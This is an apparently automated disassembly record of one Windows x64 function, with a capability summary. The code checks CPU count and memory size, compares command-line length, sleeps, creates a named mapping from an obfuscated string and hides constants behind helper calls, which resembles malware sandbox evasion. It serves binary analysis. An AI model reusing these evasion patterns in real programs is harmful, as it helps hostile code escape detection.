Function at 0x140003930
Capabilities:
Accept command line arguments
Get common file path
Get memory capacity
Get system information on windows
Terminate process

Disassembly:
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x2c8
movaps xmmword [rsp + 0x2b0], xmm6
mov rdi, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xor ecx, ecx
call rdi
mov qword [rsp + 0x38], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rsi, rax
xorps xmm0, xmm0
movaps xmmword [rsp + 0x130], xmm0
movaps xmmword [rsp + 0x120], xmm0
movaps xmmword [rsp + 0x110], xmm0
movaps xmmword [rsp + 0x100], xmm0
movaps xmmword [rsp + 0xf0], xmm0
movaps xmmword [rsp + 0xe0], xmm0
movaps xmmword [rsp + 0xd0], xmm0
movaps xmmword [rsp + 0xc0], xmm0
movaps xmmword [rsp + 0xb0], xmm0
movaps xmmword [rsp + 0xa0], xmm0
movaps xmmword [rsp + 0x90], xmm0
movaps xmmword [rsp + 0x80], xmm0
movaps xmmword [rsp + 0x70], xmm0
movaps xmmword [rsp + 0x60], xmm0
movaps xmmword [rsp + 0x50], xmm0
movaps xmmword [rsp + 0x40], xmm0
xor ecx, ecx
call rdi
mov rdi, rax
mov ecx, 0x100
mov edx, 0x2f
call fcn.1400027f0
lea rbx, [rsp + 0x40]
mov rcx, rdi
mov rdx, rbx
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ebp, eax
mov rcx, rsi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rsi, rax
mov rcx, rbx
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rdi, rax
mov ecx, 5
mov edx, 0x54
mov r8d, ebp
call fcn.1400027f0
mov rbx, rax
add ebx, edi
mov ecx, 0xfffffffb
call fcn.1400027f0
cmp ebx, esi
jl 0x140003aca
add edi, eax
cmp edi, esi
jg 0x140003aca
lea rcx, [rsp + 0x140]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov esi, dword [rsp + 0x160]
mov ecx, 2
mov edx, 0x79
call fcn.1400027f0
cmp esi, eax
jb 0x140003aca
mov ecx, 0x40
mov edx, 0xbe
mov r8d, 0x2d
call fcn.1400027f0
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov esi, eax
mov rbx, qword [rsp + 0x48]
movabs rcx, 0xfffff80000000
mov edx, eax
call fcn.1400027f0
mov rdi, rax
and rdi, rbx
xor ecx, ecx
mov edx, esi
call fcn.1400027f0
cmp rdi, rax
je 0x140003aca
mov rcx, qword [rsp + 0x38]
call fcn.140002ea0
mov ecx, 0x3e8
mov edx, 0xc22765
mov r8d, 0x391dbc
call fcn.1400027f0
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x140005036]
lea r8, str.rqwva6msb2xsbW9saaprrSysLGf
lea rdi, [rsp + 0x240]
mov rcx, rdi
call qword [sym.imp.USER32.dll_wsprintfA]
mov esi, eax
mov ecx, 4
mov edx, eax
mov r8d, eax
call fcn.1400027f0
mov rbx, rax
mov edx, 0x29
xor ecx, ecx
call fcn.1400027f0
mov rbp, rax
mov ecx, 0x1000
mov edx, esi
call fcn.1400027f0
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], eax
mov rcx, 0xffffffffffffffff
xor edx, edx
mov r8d, ebx
mov r9d, ebp
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov qword [rsp + 0x30], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov rbx, qword [rsp + 0x30]
mov ecx, 0xb7
mov edx, 0xce
mov r8d, esi
call fcn.1400027f0
test rbx, rbx
je 0x140003d52
cmp edi, eax
je 0x140003d52
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, eax
lea rcx, [rsp + 0x140]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edi, dword [rsp + 0x160]
mov ecx, 2
mov edx, 0x9d
mov r8d, esi
call fcn.1400027f0
cmp edi, eax
jb 0x140003d5d
mov ecx, 0x40
mov edx, 0xd1
mov r8d, 0x69
mov r9d, 0xe
call fcn.1400027f0
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov esi, eax
mov rbx, qword [rsp + 0x48]
movabs rcx, 0xfffff80000000
mov edx, eax
mov r8d, eax
call fcn.1400027f0
mov rdi, rax
and rdi, rbx
xor ecx, ecx
mov edx, esi
call fcn.1400027f0
cmp rdi, rax
je 0x140003d5d
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rsi, rax
xorps xmm6, xmm6
movaps xmmword [rsp + 0x130], xmm6
movaps xmmword [rsp + 0x120], xmm6
movaps xmmword [rsp + 0x110], xmm6
movaps xmmword [rsp + 0x100], xmm6
movaps xmmword [rsp + 0xf0], xmm6
movaps xmmword [rsp + 0xe0], xmm6
movaps xmmword [rsp + 0xd0], xmm6
movaps xmmword [rsp + 0xc0], xmm6
movaps xmmword [rsp + 0xb0], xmm6
movaps xmmword [rsp + 0xa0], xmm6
movaps xmmword [rsp + 0x90], xmm6
movaps xmmword [rsp + 0x80], xmm6
movaps xmmword [rsp + 0x70], xmm6
movaps xmmword [rsp + 0x60], xmm6
movaps xmmword [rsp + 0x50], xmm6
movaps xmmword [rsp + 0x40], xmm6
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdi, rax
mov ecx, 0x100
mov edx, 0x5a70e2
mov r8d, 0x7e8899
mov r9d, 0x55
call fcn.1400027f0
lea rbx, [rsp + 0x40]
mov rcx, rdi
mov rdx, rbx
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rcx, rsi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rsi, rax
mov rcx, rbx
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rdi, rax
mov ecx, 5
call fcn.1400027f0
mov rbx, rax
add ebx, edi
mov ecx, 0xfffffffb
call fcn.1400027f0
cmp ebx, esi
jl 0x140003d71
add edi, eax
cmp edi, esi
jg 0x140003d71
mov ecx, 1
mov edx, 0x5d
mov r8d, 0xc2
call fcn.1400027f0
and al, 1
mov ecx, eax
call fcn.1400035e0
mov edx, 0xb5
mov r8d, 0xc1
mov r9d, 0x3d
xor ecx, ecx
call fcn.1400027f0
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 1
xor ecx, ecx
call fcn.1400027f0
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmmword [rsp + 0x130], xmm6
movaps xmmword [rsp + 0x120], xmm6
movaps xmmword [rsp + 0x110], xmm6
movaps xmmword [rsp + 0x100], xmm6
movaps xmmword [rsp + 0xf0], xmm6
movaps xmmword [rsp + 0xe0], xmm6
movaps xmmword [rsp + 0xd0], xmm6
movaps xmmword [rsp + 0xc0], xmm6
movaps xmmword [rsp + 0xb0], xmm6
movaps xmmword [rsp + 0xa0], xmm6
movaps xmmword [rsp + 0x90], xmm6
movaps xmmword [rsp + 0x80], xmm6
movaps xmmword [rsp + 0x70], xmm6
movaps xmmword [rsp + 0x60], xmm6
movaps xmmword [rsp + 0x50], xmm6
movaps xmmword [rsp + 0x40], xmm6
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rsi, rax
mov ecx, 0x100
mov edx, 0x1c0fba
mov r8d, 0xc3
call fcn.1400027f0
lea rdx, [rsp + 0x40]
mov rcx, rsi
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov esi, eax
mov ecx, 0x100
mov edx, 0x44
mov r8d, 0x4d1c44
mov r9d, 0xd2
call fcn.1400027f0
lea rdx, [rsp + 0x140]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
movaps xmm0, xmmword [rsp + 0x40]
movaps xmm1, xmmword [rsp + 0x50]
movaps xmm2, xmmword [rsp + 0x60]
movaps xmm3, xmmword [rsp + 0x70]
movups xmmword [0x14000614c], xmm0
movups xmmword [0x14000615c], xmm1
movups xmmword [0x14000616c], xmm2
movups xmmword [0x14000617c], xmm3
movaps xmm0, xmmword [rsp + 0x80]
movups xmmword [0x14000618c], xmm0
movaps xmm0, xmmword [rsp + 0x90]
movups xmmword [0x14000619c], xmm0
movaps xmm0, xmmword [rsp + 0xa0]
movups xmmword [0x1400061ac], xmm0
movaps xmm0, xmmword [rsp + 0xb0]
movups xmmword [0x1400061bc], xmm0
mov ecx, 0x3e8
mov edx, 0xa6
mov r8d, esi
call fcn.1400027f0
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsp + 0x38]
call fcn.1400029c0
jmp 0x140003d5d